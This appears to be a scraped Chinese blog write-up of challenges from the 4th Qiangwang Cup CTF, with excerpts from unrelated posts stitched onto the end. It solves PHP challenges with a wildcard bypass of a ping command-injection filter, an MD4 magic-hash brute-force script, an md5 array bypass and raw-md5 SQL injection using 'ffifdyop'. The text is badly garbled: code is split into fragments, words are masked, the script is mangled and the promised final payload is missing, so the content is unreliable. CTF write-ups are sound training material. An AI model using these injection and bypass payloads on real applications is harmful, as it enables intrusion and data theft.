第四屆「強網杯」全國網路安全挑戰賽部分WP

2021-10-23 17:30:24 字數 2733 閱讀 9056

題目如下:

<?php 

highlight_file

("index.php");

if(preg_match

("/flag/i"

,$_get

["ip"])

)system

("ping -c 3 $_get

[ip]")

;?>

先用乙個ls命令嘗試一下回顯

只要讀出flag.php即可得到flag

而題目的**有正則過濾flag

這裡用到模糊查詢即可得到flag

題目**如下

<?php 

include

'conn.php'

;highlight_file

("index.php");

//level 1if(

$_get

["hash1"]!=

hash

("md4"

,$_get

["hash1"])

)//level 2if(

$_get

['hash2'

]===

$_get

['hash3']||

md5(

$_get

['hash2'])

!==md5

($_get

['hash3'])

)//level 3

$query

="select * from flag where password = '"

.md5

($_get

["hash4"],

true).

"'";

$result

=$mysqli

->

query

($query);

$row

=$result

->

fetch_assoc()

;var_dump

($row);

$result

->

free()

;$mysqli

->

close()

;?>

這個題分三關,全部滿足條件後即可得到flag

第一關要使md4加密前後的值相等

php在處理雜湊字串時,會利用」!=」或」==」來對雜湊值進行比較,它把每乙個以」0e」開頭的雜湊值都解釋為0,

所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以」0e」開頭的,那麼php將會認為他們相同,都是0。

第一關的爆破指令碼如下:

#!/usr/bin/env python

import hashlib

import crypto.hash.

md4import re

prefix =

'0e'

def breakit()

:iters =

0while1:

s =(prefix +

str(iters)).

encode

('utf-8'

)hashed_s = hashlib.

new(

'md4'

, s)

.hexdigest()

iters = iters +

1r = re.

match

('^0e[0-9]'

, hashed_s)

if r:

print

("[+] found! md4( {} ) ---> {}"

.format

(s, hashed_s)

)print

("[+] in {} iterations"

.format

(iters)

)exit(0

)if iters %

1000000==0

:print

("[+] current value: {} {} iterations, continue..."

.format

(s, iters)

)breakit

()

md4( 0e251288019 ) —> 0e874956163641961271069404332409

使用這個值即可

關卡二利用陣列繞過md5

hash2=1&hash3=2

關卡三之前在實驗吧看過

md5($_get[「hash4」],true)經過該函式加密過後是乙個原始16字元二進位制格式,二當hash4=ffifdyop這個字串時,經過函式處理剛好形成這條語句

$query

="select * from flag where password = 'or'6ɝ⬹�"

;

整條語句構造為真查出了flag

最後完整的payload為

第四屆 強網杯 upload

將之前儲存的steghide.bin用winhex開啟,可以看到檔案中包含http請求資訊以及我們的資訊,還有檔案結尾的尾部資訊。我們需要做的事情是確定檔案的原始資訊頭和尾,並去掉多餘的部分。apt get install steghide檢視中是否有嵌入檔案的資訊 這裡需要密碼驗證,密碼12345...

第四屆 強網杯 主動

注意 此題是 命令執行繞過 不是 執行繞過 下發題目開啟,拿到原始碼 highlight file index.php if preg match flag i get ip system ping c 3 get ip 傳入的引數如果匹配到了flag字元就輸出 no flag 測試一下,發現fla...

第四屆藍橋杯 高斯日記

大數學家高斯有個好習慣 無論如何都要記日記。他的日記有個與眾不同的地方,他從不註明年月日,而是用乙個整數代替,比如 4210 高斯出生於 1777年4月30日。在高斯發現的乙個重要定理的日記上標註著 5343,因此可算出那天是 1791年12月15日。高斯獲得博士學位的那天日記上標著 8113 請你...